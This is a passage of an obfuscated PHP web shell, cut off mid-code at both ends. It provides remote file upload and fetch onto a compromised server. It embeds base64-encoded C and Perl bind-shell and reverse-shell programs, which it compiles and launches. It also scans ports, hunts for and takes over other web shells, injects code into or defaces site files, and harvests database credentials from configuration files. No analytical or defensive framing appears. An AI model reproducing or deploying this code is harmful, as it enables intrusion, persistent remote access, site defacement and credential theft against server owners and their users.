"); } } if (z4q($q_sql_filename)) { z2b(z9s("459")); } else { echo z2b(z9s("450")); } } else { echo z2b(z9s("450")); } } } } } } goto NRBeg; Ah6IX: if ($act == "upload") { if (z0v($d)) { $wdt = $use_images ? "<img alt="+" border="0" style="vertical-align: middle; padding-left:2px;" src="?act=i&img=ok">" : z5i("+"); } else { $wdt = $use_images ? "<img alt="x" border="0" style="vertical-align: middle; padding-left:2px;" src="?act=i&img=cancel">" : z8z("x"); } $a_get = array(); $ls_a = array(); $umsg = $mmsg = $rmsg = ''; if (!@isset($multiupload)) { if (@isset($usubmit) && $usubmit) { global $_FILES; $dest = ''; if (!@empty($_FILES["file1"]["tmp_name"])) { $dest = $_FILES["file1"]["name"]; } if (@isset($rfile1) && !@empty($rfile1)) { $dest = $rfile1; } if (!@isset($path1) || @empty($path1)) { $path1 = $d; } $path1 = z1a($path1); if (!@empty($dest)) { if (!@move_uploaded_file($_FILES["file1"]["tmp_name"], $path1 . $dest)) { $umsg = z9s("172", array($_FILES["file1"]["name"], $_FILES["file1"]["tmp_name"], $path1 . $dest)); } else { $umsg = z9s("173", array($_FILES["file1"]["name"], $path1 . $dest)); $ls_a[] = $path1 . $dest; $nolsmenu = 1; $act = "ls"; $d = $path1; } $umsg = z10e(z7i(z9j($umsg))); } } echo z2b(z9s("161")) . $umsg . z10e(z5n() . z9f(z9j(z5m(array("act" => "upload", "d", "usubmit" => "1"), z10e(z7i(z5t(z9s("162")) . z9j(z9h("file1", "2") . z8v(z9s("170"), "7") . $wdt)) . z7i(z5t(z9s("163")) . z9j(z6i("rfile1", @isset($rfile1) ? $rfile1 : '', "9"))) . z7i(z5t(z9s("164")) . z9j(z6i("path1", @isset($path1) ? $path1 : $d, "9")))))) . z9j(z5c(array("act" => "upload", "d", "multiupload" => "1"), z10e(z7i(z9j(z8e(z9s("166")) . z6i("lno", @isset($lno) ? $lno : "10", "1") . z8v(z9s("169"), "7"))))))) . z5n(), "2"); } else { if (@isset($msubmit) && $msubmit) { global $_FILES; foreach ($_FILES as $fk => $fv) { $dest = ''; if (!@empty($_FILES[$fk]["tmp_name"])) { $dest = $_FILES[$fk]["name"]; } if (@isset($rfile[$fk]) && !@empty($rfile[$fk])) { $dest = $rfile[$fk]; } if (!@isset($mpath) || @empty($mpath)) { $mpath = $d; } $mpath = z1a($mpath); if (!@empty($dest)) { if (!@move_uploaded_file($_FILES[$fk]["tmp_name"], $mpath . $dest)) { $mmsg .= z9s("172", array($_FILES[$fk]["name"], $_FILES[$fk]["tmp_name"], $mpath . $dest)) . z9x(); } else { $mmsg .= z9s("173", array($_FILES[$fk]["name"], $mpath . $dest)) . z9x(); $ls_a[] = $mpath . $dest; $nolsmenu = 1; $act = "ls"; $ftarget = "1"; $d = $mpath; } } } if ($mmsg != '') { $mmsg = z10e(z7i(z9j($mmsg))); } } $form = ''; if (!@is_numeric($lno)) { $lno = 10; } for ($i = 0; $i < $lno; $i++) { $ii = $i + 1; $form .= z7i(z5t(z9s("162") . " " . $ii) . z9j(z9h("file" . $ii, "2")) . z5t(z9s("163")) . z9j(z6i("rfile[file" . $ii . "]", '', "0"))); } echo z2b(z9s("168")) . $mmsg . z5m(array("act" => "upload", "d", "multiupload" => "1", "lno", "msubmit" => "1"), z10e(z5n() . $form) . z10e(z5n() . z7i(z5t(z9s("164")) . z9j(z6i("mpath", @isset($mpath) ? $mpath : $d, "9") . z8v(z9s("170"), "7") . $wdt)) . z5n())); } if ($bcurl) { $a_get["phpcurl"] = "use php->curl"; } if ($bfsock) { $a_get["fsock"] = "use php->fsockopen"; } if (z7r("ini_get") && z8l("allow_url_fopen") && z7r("file_get_contents")) { $a_get["file_get_contents"] = "use php->file_get_contents"; } if ($nix && $sh_exec) { foreach ($getaliases as $k => $v) { if (z8u($k)) { $a_get[$k] = "use cmd->{$k}"; } } } if (@count($a_get) > 0) { if (@isset($rsubmit) && $rsubmit) { $fct = ''; if (!@preg_match(":^(http|https|ftp)\://([a-zA-Z0-9\.\-]+(\:[a-zA-Z0-9\.&%$\-]+)*@)?((25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9])\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[1-9]|0)\.(25[0-5]|2[0-4][0-9]|[0-1]{1}[0-9]{2}|[1-9]{1}[0-9]{1}|[0-9])|([a-zA-Z0-9\-]+\.)*[a-zA-Z0-9\-]+\.[a-zA-Z]{2,4})(\:[0-9]+)?(/[^/][a-zA-Z0-9\.\,\?\'\/\+&%$#\=~_\-@]*)*$:i", $uploadurl)) { $rmsg = z9s("171", $uploadurl); } else { $dest = z2h($uploadurl); if (@isset($nameurl) && !@empty($nameurl)) { $dest = $nameurl; } if (@empty($dest)) { $dest = "index.html"; } if (!@isset($rpath) || @empty($rpath)) { $rpath = $d; } $rpath = z1a($rpath); if (z4q($rpath . $dest)) { $i = 1; while (z4q($rpath . $dest)) { if ($i == 1) { $dest = $dest . "." . $i; } else { $dest = @substr($dest, 0, @strlen($dest) - 2) . "." . $i; } $i++; } } if ($upwith == "phpcurl" || $upwith == "fsock" || $upwith == "file_get_contents") { if ($upwith == "phpcurl") { $fct = z3a($uploadurl); } if ($upwith == "fsock") { $fct = z2f($uploadurl); } if ($upwith == "file_get_contents") { $fct = @file_get_contents($uploadurl); } if (!$fct || @empty($fct)) { $rmsg = z9s("174"); } else { if (z9y($rpath . $dest, $fct)) { $rmsg = z9s("176", $rpath . $dest); $ls_a[] = $rpath . $dest; $nolsmenu = 1; $act = "ls"; $d = $rpath; } else { $rmsg = z9s("175", $rpath . $dest); } } } else { if ($nix && $sh_exec && @isset($getaliases[$upwith])) { $ucmd = @str_replace("[%1%]", $upwith, $getaliases[$upwith]); $ucmd = @str_replace("[%2%]", $uploadurl, $ucmd); $ucmd = @str_replace("[%3%]", $rpath . $dest, $ucmd); z9t($ucmd, 1); if (z4q($rpath . $dest)) { $rmsg = z9s("176", $rpath . $dest); $ls_a[] = $rpath . $dest; $nolsmenu = 1; $act = "ls"; $d = $rpath; } else { $rmsg = z9s("174"); } } } } if ($rmsg != '') { $rmsg = z10e(z7i(z9j($rmsg))); } } echo z2b(z9s("167")) . $rmsg . z5c(array("act" => "upload", "d", "rsubmit" => "1"), z10e(z5n() . z7i(z5t(z9s("165")) . z9j(z6i("uploadurl", @isset($uploadurl) ? $uploadurl : "http://", "0") . z4a("upwith", $a_get, "4", "1") . z8v(z9s("170"), "7") . $wdt)) . z7i(z5t(z9s("163")) . z9j(z6i("nameurl", @isset($nameurl) ? $nameurl : '', "9"))) . z7i(z5t(z9s("164")) . z9j(z6i("rpath", @isset($rpath) ? $rpath : $d, "9"))) . z5n(), "2")); } } goto JkqMK; jvQyF: function z3f() { $r = z9s("430"); $c = $k = $b = ''; $f = z9p("/proc/cpuinfo"); if (!@empty($f)) { $a = @explode("\xa", $f); $n = 0; for ($i = 0; $i < @count($a); $i++) { @(list($x, $y, ) = @explode(":", $a[$i])); $x = @rtrim($x); $y = @rtrim($y); if ($x == "processor") { $n++; $r = $n; } if ($x == "vendor_id") { $r .= $y; } if ($x == "model name") { $r .= $y; } if ($x == "cpu MHz") { $r .= " " . @floor($y); $k = "y"; } if ($x == "cache size") { $c = $y; } if ($x == "bogomips") { $b = $y; } } if ($k != "y") { $r .= " <b>unknown</b>"; } $r .= " MHz / Cache: {$c} / BogoMIPS: {$b}"; } return $r; } goto xBqQp; YZJ0W: function z1u($n) { return @isset($_COOKIE[$n]) ? $_COOKIE[$n] : ''; } goto jFTBf; gUbZN: function z7w($c = '', $t = '') { return "<form method="POST" action=""" . ($t != '' ? " target="_blank"" : '') . ($c != '' ? " class="" . z4m($c, "3") . """ : '') . ">"; } goto NCd7A; lWHbw: function z3z($h) { return @preg_match("/^[0-9a-fA-F]+$/", $h) ? 1 : 0; } goto n5eAD; cfg0g: function z3o($k) { $_SESSION[$k] = @array_reverse($_SESSION[$k]); @array_pop($_SESSION[$k]); $_SESSION[$k] = @array_reverse($_SESSION[$k]); z2i($k); } goto AjxvQ; ubUwE: $a_sql = array(); goto oImQt; cBCE9: if ($act == "tools") { $bndprt_c = "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDx1bmlzdGQuaD4KI2luY2x1ZGUgPHN0ZGxpYi5oPgojaW5jbHVkZSA8c3RyaW5ncy5oPgojaW5jbHVkZSA8bmV0aW5ldC9pbi5oPgojaW5jbHVkZSA8c3lzL3NvY2tldC5oPgojaW5jbHVkZSA8c2lnbmFsLmg+CgojZGVmaW5lIFAwUlQgJXBvcnQlCiNkZWZpbmUgUEFTUyAiJXBhc3MlIgoKaW50Cm1haW4oaW50IGEsIGNoYXIgKipiKQp7CmludCBjLCBkLCBlID0gc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcl9pbiksIGY7CmNoYXIgcFsxMDAwXTsKc3RydWN0IHNvY2thZGRyX2luIGwsIHI7CnNpZ25hbChTSUdDSExELCBTSUdfSUdOKTsKc2lnbmFsKFNJR0hVUCwgU0lHX0lHTik7CnNpZ25hbChTSUdURVJNLCBTSUdfSUdOKTsKc2lnbmFsKFNJR0lOVCwgU0lHX0lHTik7CmlmIChmb3JrKCkpCmV4aXQoMCk7Cmwuc2luX2ZhbWlseSA9IEFGX0lORVQ7Cmwuc2luX3BvcnQgPSBodG9ucyhQMFJUKTsKbC5zaW5fYWRkci5zX2FkZHIgPSBJTkFERFJfQU5ZOwpiemVybygmKGwuc2luX3plcm8pLCA4KTsKYyA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgMCk7CmJpbmQoYywoc3RydWN0IHNvY2thZGRyICopICZsLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSk7Cmxpc3RlbihjLCAzKTsKd2hpbGUgKChkID0gYWNjZXB0KGMsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnIsICZlKSkpCnsKaWYgKCFmb3JrKCkpCnsKcmVjdihkLCBwLCAxMDAwLCAwKTsKaWYgKGNocGFzcyhQQVNTLHApKQp7CmNsb3NlKGQpOwpleGl0KDEpOwp9CmNsb3NlKDApOwpjbG9zZSgxKTsKY2xvc2UoMik7CmR1cDIoZCwgMCk7CmR1cDIoZCwgMSk7CmR1cDIoZCwgMik7CnNldGVudigiUEFUSCIsICIvc2JpbjovYmluOi91c3Ivc2JpbjovdXNyL2JpbjovdXNyL2xvY2FsL2Jpbi86L3Vzci9sb2NhbC9zYmluOi4iLCAxKTsKdW5zZXRlbnYoIkhJU1RTQVZFIik7CnVuc2V0ZW52KCJISVNURklMRSIpOwpleGVjbCgiL2Jpbi9zaCIsICJzaCIsIChjaGFyICopIDApOwpjbG9zZShkKTsKZXhpdCgwKTsKfQp9CnJldHVybiAwOwp9CgppbnQgY2hwYXNzKGNoYXIgKmJhc2UsIGNoYXIgKmVudGVyZWQpIHsKaW50IGk7CmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSAKewppZihlbnRlcmVkW2ldID09ICdcbicpCmVudGVyZWRbaV0gPSAnXDAnOyAKaWYoZW50ZXJlZFtpXSA9PSAnXHInKQplbnRlcmVkW2ldID0gJ1wwJzsKfQppZiAoIXN0cmNtcChiYXNlLGVudGVyZWQpKQpyZXR1cm4gMDsKfQo="; $bndprt_pl = "IyEvdXNyL2Jpbi9wZXJsCiRTSEVMTD0iL2Jpbi9zaCI7CiRMSVNURU5fUE9SVD0lcG9ydCU7CnVzZSBTb2NrZXQ7CiRwcm90b2NvbD1nZXRwcm90b2J5bmFtZSgndGNwJyk7CnNvY2tldChTLCZQRl9JTkVULCZTT0NLX1NUUkVBTSwkcHJvdG9jb2wpIHx8IGRpZSAiQ2FudCBjcmVhdGUgc29ja2V0XG4iOwpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7CmJpbmQoUyxzb2NrYWRkcl9pbigkTElTVEVOX1BPUlQsSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7Cmxpc3RlbihTLDMpIHx8IGRpZSAiQ2FudCBsaXN0ZW4gcG9ydFxuIjsKd2hpbGUoMSkKewphY2NlcHQoQ09OTixTKTsKaWYoISgkcGlkPWZvcmspKQp7CmRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsKb3BlbiBTVERJTiwiPCZDT05OIjsKb3BlbiBTVERPVVQsIj4mQ09OTiI7Cm9wZW4gU1RERVJSLCI+JkNPTk4iOwpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsKY2xvc2UgQ09OTjsKZXhpdCAwOwp9Cn0KCg=="; $bckcon_pl = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHRhcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNURElOKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $bckcon_c = "I2luY2x1ZGUgPHN0ZGlvLmg+CiNpbmNsdWRlIDxzeXMvc29ja2V0Lmg+CiNpbmNsdWRlIDxuZXRpbmV0L2luLmg+CmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pCnsKIGludCBmZDsKIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47CiBjaGFyIHJtc1syMV09InJtIC1mICI7IAogZGFlbW9uKDEsMCk7CiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7CiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMl0pKTsKIHNpbi5zaW5fYWRkci5zX2FkZHIgPSBpbmV0X2FkZHIoYXJndlsxXSk7IAogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJsZW4oYXJndlsyXSkpOyAKIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyAKIGlmICgoY29ubmVjdChmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSAmc2luLCBzaXplb2Yoc3RydWN0IHNvY2thZGRyKSkpPDApIHsKICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7CiAgIGV4aXQoMCk7CiB9CiBzdHJjYXQocm1zLCBhcmd2WzBdKTsKIHN5c3RlbShybXMpOyAgCiBkdXAyKGZkLCAwKTsKIGR1cDIoZmQsIDEpOwogZHVwMihmZCwgMik7CiBleGVjbCgiL2Jpbi9zaCIsInNoIiwgTlVMTCk7CiBjbG9zZShmZCk7IAp9Cgo="; $bndportsrcs = array("bndprt.pl" => array("PERL", "perl %path"), "bndprt.c" => array("C", "%path")); $bcsrcs = array("bckcon.pl" => array("PERL", "perl %path %host %port"), "bckcon.c" => array("C", "%path %host %port")); if (!@isset($brtest1)) { $brtest1 = 0; } if (!@isset($brtest2)) { $brtest2 = 0; } if (!@isset($brtest3)) { $brtest3 = 0; } if (!@isset($brtest4)) { $brtest4 = 0; } $users = array(); if (@empty($brute_email)) { $brute_email = z7x("2", "email"); } if (@empty($dv_email)) { $dv_email = z7x("2", "email"); } if (@empty($cp_email)) { $cp_email = z7x("2", "email"); } if (@isset($brm) && ($brm == "2" || $brm == "3")) { $users = z6m(); } $brute_type["1"] = z9s("343"); if ($bpasswd) { $brute_type["2"] = z9s("344"); $brute_type["3"] = z9s("345"); } $available_arr = array(); if ($bftp) { $available_arr["FTP"] = "FTP"; } if ($bmysql) { $available_arr["MySQL"] = "MySQL"; } if ($bmssql) { $available_arr["MSSQL"] = "MSSQL"; } if ($bpostgres) { $available_arr["PostgreSQL"] = "PostgreSQL"; } if ($boracle) { $available_arr["Oracle"] = "Oracle"; } if (!@isset($brh)) { $brh = $saddr; } if (!@isset($dvfiles)) { $dvfiles = "*conf*.php;*db*.php;"; } if (!@isset($dvuser)) { $dvuser = "user"; } if (!@isset($dvpass)) { $dvpass = "pass"; } if (!@isset($dvhost)) { $dvhost = "host"; } if (!@isset($dvbase)) { $dvbase = "base"; } $arr_vars = array("var" => "variable ($var)", "arrayvar1" => "arrayvar ('var'=>)", "arrayvar2" => "arrayvar (['var']=>)", "const" => "constant (define)"); $rec_arr = array(); for ($i = 0; $i < 10; $i++) { $rec_arr[$i + 1] = $i + 1 . " DIRS"; } $rec_arr["no"] = "NO"; $arr_dvfind = array("dvdir" => z9s("325")); $arr_method = array("cpdir" => z9s("304")); if (($wwwdir = z3k()) !== false) { $arr_dvfind["docroot"] = z9s("326"); $arr_method["cpdocroot"] = z9s("305"); } if ($bpasswd) { $arr_dvfind["passwd"] = z9s("327"); $arr_method["cppasswd"] = z9s("306"); } $arr_sfuncs = array("glob" => "glob"); if ($nix && $sh_exec) { $arr_sfuncs["find"] = "find"; } $inj_method = array("top" => "Top of the file", "end" => "End of the file", "php1" => "Before first <?", "html1" => "Before <html>", "html2" => "Before </html>", "body1" => "Before <body.*>", "body2" => "Before </body>", "php2" => "After last ?>", "body3" => "After <body.*>", "body4" => "After </body>", "html3" => "After <html>", "html4" => "After </html>", "overwrite" => "Deface (Overwrite file)"); if (!@isset($bnd_port) || !@is_numeric($bnd_port)) { $bnd_port = z7x("2", "bind_port"); } if (!@isset($bnd_pass) || @empty($bnd_pass)) { $bnd_pass = z7x("2", "bind_pass"); } if (!@isset($bc_host) || @empty($bc_host)) { $bc_host = $yaddr; } if (!@isset($bc_port) || !@is_numeric($bc_port)) { $bc_port = z7x("2", "backcon_port"); } $bindmsg = $bcmsg = ''; if (@isset($bindsubmit) && $bindsubmit) { $v = $bndportsrcs[$bnd_src]; if (@empty($v)) { $bindmsg = z9s("272"); } elseif (@fsockopen("localhost", $bnd_port, $errno, $errstr, 0.1)) { $bindmsg = z9s("275", $bnd_port); } else { $w = @explode(".", $bnd_src); $ext = $w[@count($w) - 1]; unset($w[count($w) - 1]); $srcpath = $tempdir . @join(".", $w) . "." . @md5(@time()) . "." . $ext; $binpath = $tempdir . @join(".", $w) . @md5(@time()); if ($ext == "pl") { $binpath = $srcpath; } @unlink($srcpath); $fp = @fopen($srcpath, "ab+"); if (!$fp) { $bindmsg = z9s("271"); } else { $data = @base64_decode(${@str_replace(".", "_", $bnd_src)}); $data = @str_replace("%pass%", $bnd_pass, $data); $data = @str_replace("%port%", $bnd_port, $data); @fwrite($fp, $data, @strlen($data)); @fclose($fp); if ($ext == "c") { $retgcc = z9t("gcc -o " . $binpath . " " . $srcpath); @unlink($srcpath); } $v[1] = @str_replace("%path", $binpath, $v[1]); $v[1] = @str_replace("//", "/", $v[1]); $retbind = z9t($v[1] . " > /dev/null &"); @sleep(5); $sock = @fsockopen("localhost", $bnd_port, $errno, $errstr, 5); if (!$sock) { $bindmsg = z9s("273", $bnd_port); } else { $bindmsg = z9s("274", array($saddr, $bnd_port)); } } } } if (@isset($bcsubmit) && $bcsubmit) { $v = $bcsrcs[$bc_src]; if (@empty($v)) { $bcmsg = z9s("272"); } else { $w = @explode(".", $bc_src); $ext = $w[count($w) - 1]; unset($w[count($w) - 1]); $srcpath = $tempdir . join(".", $w) . "." . @md5(@time()) . "." . $ext; $binpath = $tempdir . join(".", $w) . @md5(@time()); if ($ext == "pl") { $binpath = $srcpath; } @unlink($srcpath); $fp = @fopen($srcpath, "ab+"); if (!$fp) { $bcmsg = z9s("271"); } else { $data = @base64_decode(${str_replace(".", "_", $bc_src)}); @fwrite($fp, $data, strlen($data)); fclose($fp); if ($ext == "c") { $retgcc = z9t("gcc -o " . $binpath . " " . $srcpath); @unlink($srcpath); } $v[1] = @str_replace("%path", $binpath, $v[1]); $v[1] = @str_replace("%host", $bc_host, $v[1]); $v[1] = @str_replace("%port", $bc_port, $v[1]); $v[1] = @str_replace("//", "/", $v[1]); $retbind = z9t($v[1] . " > /dev/null &"); $bcmsg = z9s("76", array($bc_host, $bc_port)); } } } $selecta = $selectb = array(); foreach ($bndportsrcs as $k => $v) { $selecta[$k] = $v[0]; } foreach ($bcsrcs as $k => $v) { $selectb[$k] = $v[0]; } if (!$win && ($sh_exec || $safe_exec)) { echo z2b(array(z9s("265") . (!@empty($bindmsg) ? " - " . @strtoupper($bindmsg) : ''), z9s("266") . (!@empty($bcmsg) ? " - " . @strtoupper($bcmsg) : '')), "46"); echo z9m(2) . z7p() . z7k('', "4"); echo z5c(array("act" => "tools", "d", "bindsubmit" => "1"), z10e(z5n() . z7i(z5t(z9s("267")) . z9j(z6i("bnd_pass", $bnd_pass, "4") . ":" . z6i("bnd_port", $bnd_port, "1") . ":" . z4a("bnd_src", $selecta, "1", 1) . z8v(z9s("268"), "7"))) . z5n(), "2")); echo z7g() . z7k('', "46"); echo z5c(array("act" => "tools", "d", "bcsubmit" => "1"), z10e(z5n() . z7i(z5t(z9s("434")) . z9j(z6i("bc_host", $bc_host, "4") . ":" . z6i("bc_port", $bc_port, "1") . ":" . z4a("bc_src", $selectb, "1", 1) . z8v(z9s("435"), "7"))) . z5n(), "2")); echo z7g() . z7u() . z10w(); $ii = 0; if (@is_dir($tempdir)) { if ($dh = @opendir($tempdir)) { while (($file = @readdir($dh)) !== false) { if (@preg_match("/^(bndprt|bckcon)\.?[a-zA-Z0-9]{32}/", $file)) { if (@isset($clean)) { @unlink($tempdir . $file); } else { $ii++; } } } @closedir($dh); } } if ($ii != 0) { echo z2b(@strtoupper(z9s("269", $ii)) . z5c(array("act" => "tools", "d", "clean" => "1"), z8v(z9s("270"), "7"))); } } $pscmsg = ''; $startscan = 0; if (@isset($pscan) && $pscan && !@empty($pscip) && @is_numeric($pscps) && @is_numeric($pscpe)) { if ($pscps < 0 || $pscps > 65535 || $pscpe < 0 || $pscpe > 65535) { $pscmsg = z9s("280"); } else { $startscan = 1; } } echo z2b(array(z9s("281"), z9s("277") . ($pscmsg != '' ? " : " . $pscmsg : '')), "46"); if (!@isset($pscip)) { $pscip = $saddr; } if (!@isset($pscps)) { $pscps = "0"; } if (!@isset($pscpe)) { $pscpe = "65535"; } echo z9m(2) . z7p() . z7k('', "4") . z6d() . z9m("2") . z7z() . z9b("shellhunt", "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("282")) . z9j(z4a("shaction", array("view" => z9s("284"), "viewall" => z9s("285"), "own" => z9s("286"), "ownall" => z9s("287")), "5", 1) . ":" . z4a("shrecursive", $rec_arr, "1", 1) . z8v(z9s("436"), "7"))) . z7i(z5t(z9s("283")) . z9j(z4a("hsfunc", $arr_sfuncs, "1", 1) . ":" . z5u("shpath", $d, "2"))) . z9z() . z10w() . z6d() . z7g() . z7k('', "46") . z6d() . z9m("2") . z5c(array("act" => "tools", "d", "pscan" => "1"), z7i(z5t(z9s("278")) . z9j(z6i("pscip", $pscip, "4") . ":" . z6i("pscps", $pscps, "1") . "-" . z6i("pscpe", $pscpe, "1") . z8v(z9s("279"), "7")))) . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($shellhunt) && $shellhunt) { $glob = $shells = array(); $glob = z5s($shpath, "*.php", $shrecursive, $hsfunc == "find" ? true : false); if (@count($glob) > 0) { $viewall = $rcown = 0; switch ($shaction) { case "view": $viewall = $rcown = 0; break; case "viewall": $viewall = 1; $rcown = 0; break; case "own": $viewall = 0; $rcown = 1; break; case "ownall": $viewall = $rcown = 1; break; default: $viewall = $rcown = 0; break; } foreach ($glob as $tmp) { if (($ttype = z2y($tmp, $viewall, $rcown)) !== false) { $shells[$tmp] = $ttype; } } } if (@count($shells) > 0) { if (($wwwdir = z3k()) !== false) { $url = z8o(); $url_a = @parse_url($url); if (@isset($url_a["host"])) { $shellhost = $url_a["host"]; } } $external = 1; echo z2b(z9s("288"), "1") . z9m("2") . z7i(z9j(z9s("292"), "13", "2") . z9j(z9s("293"), "13") . z9j(z9s("294"), "13") . z9j(z9s("295"), "13", "3")); $tr = 0; foreach ($shells as $shell => $shelltype) { $wwwlink = "-"; if (@isset($shellhost) && @strstr($shell, $wwwdir) !== false) { $wwwlink = z10y("http://" . $shellhost . "/" . @substr($shell, @strlen($wwwdir)) . """, z9s("296"), "1", 1); } echo z7i(z9j(z2h($shell), "14", "2") . z9j($shelltype, "14") . z9j($wwwlink, "14") . z9j(z0h($shell, "1") . z5c(array("act" => "f", "ft" => "rcown", "d" => z3p($shell), "f" => z2h($shell)), z8v(z9s("297"), "18"), "1"), "14", "3"), $tr % 2 ? "0" : "1"); $tr++; } echo z10w(); } } if ($startscan) { $pscan = z8c($pscip, $pscps, $pscpe); if (@(!empty($pscan))) { echo z2b(z9s("289")); echo z6d() . z10e(z7i(z6x(z5w('', "1") . $pscan . z5q())), "2") . z6d(); } } echo z2b(array(z9s("298"), z9s("309")), "46"); echo z9m(2) . z7p() . z7k('', "4") . z6d() . z9m("2") . z7z() . z9b("cpfind", "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("299")) . z9j(z5u("cphost", "127.0.0.1", "5") . ":" . z5u("cpuser", "root", "4") . ":" . z4a("cpservice", $available_arr, "1", 1))) . z7i(z5t(z9s("300")) . z9j(z5u("cpfiles", "*conf*.php;*db*.php;", "5") . ":" . z4a("cpmethod", $arr_method, "4", 1) . ":" . z4a("cprecursive", $rec_arr, "1", 1))) . z7i(z5t(z9s("301")) . z9j(z4a("csfunc", $arr_sfuncs, "1", 1) . ":" . z5u("cpdir", $d, "2"))) . ($bmail ? z7i(z5t(z9s("302")) . z9j(z5u("cp_email", '', "2") . z9g("cp_log"))) : '') . z7i(z5t(z9c()) . z9j(z8v(z9s("307"), "7") . z9c() . z5y("cppassfile", z9s("303"), "cppassfile"))) . z9z() . z10w() . z6d() . z7g() . z7k('', "46") . z6d() . z9m("2") . z7z() . z9b("inject", "1") . z9b("act", "tools") . z9b("d") . z7i(z5t(z9s("310")) . z9j(z5u("injfiles", "*.html;index.php;", "5") . ":" . z4a("injmethod", $inj_method, "4", 1) . ":" . z4a("injrecursive", $rec_arr, "1", 1))) . z7i(z5t(z9s("311")) . z9j(z4a("isfunc", $arr_sfuncs, "1", 1) . ":" . z5u("injdir", $d, "2"))) . z9f(z5t(z9s("312")) . z9j(z5w("injcode", "6") . (@isset($injcode) ? @htmlspecialchars($injcode) : '') . z5q())) . z7i(z5t(z9c()) . z9j(z8v(z9s("313"), "7"))) . z9z() . z10w() . z6d() . z7g() . z7u() . z10w(); if (@isset($inject) && $inject) { $glob = array(); $glob = z5s($injdir, $injfiles, $injrecursive, $isfunc == "find" ? true : false); if (@count($glob) > 0) { $i = 0; foreach ($glob as $file) { if (z4i($injcode, $injmethod, $file)) { if ($i == 0) { echo z2b(z9s("314")) . z6d() . z9m("2") . z6g() . z6w() . z5w('', "1"); z5p(); } echo $file . "\xd
"; $i++; } } if ($i > 0) { echo z5q() . z7g() . z7u() . z10w() . z6d(); } } } if (@isset($cpfind) && $cpfind && (!@empty($cpuser) || $cpmethod == "cppasswd")) { echo z2b(z9s("308")) . z6d(); echo z9m("2") . z7p() . z6w() . z5w('', "1"); z5p(); $glob = array(); switch ($cpmethod) { case "cpdir": $glob[$cpuser] = z5s($cpdir, $cpfiles, $cprecursive, $csfunc == "find" ? true : false); break; case "cpdocroot": $glob[$cpuser] = z5s(z1a($wwwdir), $cpfiles, $cprecursive, $csfunc == "find" ? true : false); break; case "cppasswd": $uarr = z6m(1); if (@count($uarr) > 0) { foreach ($uarr as $uk => $arr) { if ($arr[1] != "/" && !@preg_match("#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#", $arr[1]) && z4j($arr[1])) { $glob[$arr[0]] = z5s(z1a($arr[1]), $cpfiles, $cprecursive, $csfunc == "find" ? true : false); } } } unset($uarr); break; default: break; } if (@count($glob) > 0) { foreach ($glob as $user => $file_arr) { if (@count($file_arr) > 0) { foreach ($file_arr as $tfile) { z1m($tfile, $user); } } } } $log = ''; $found = 0; if (@isset($passarray) && @count($passarray) > 0) { foreach ($passarray as $user => $passwords) { if (@count($passwords) > 0) { foreach ($passwords as $pass) { if (@isset($cppassfile) && $cppassfile) { echo "{$user} {$pass}
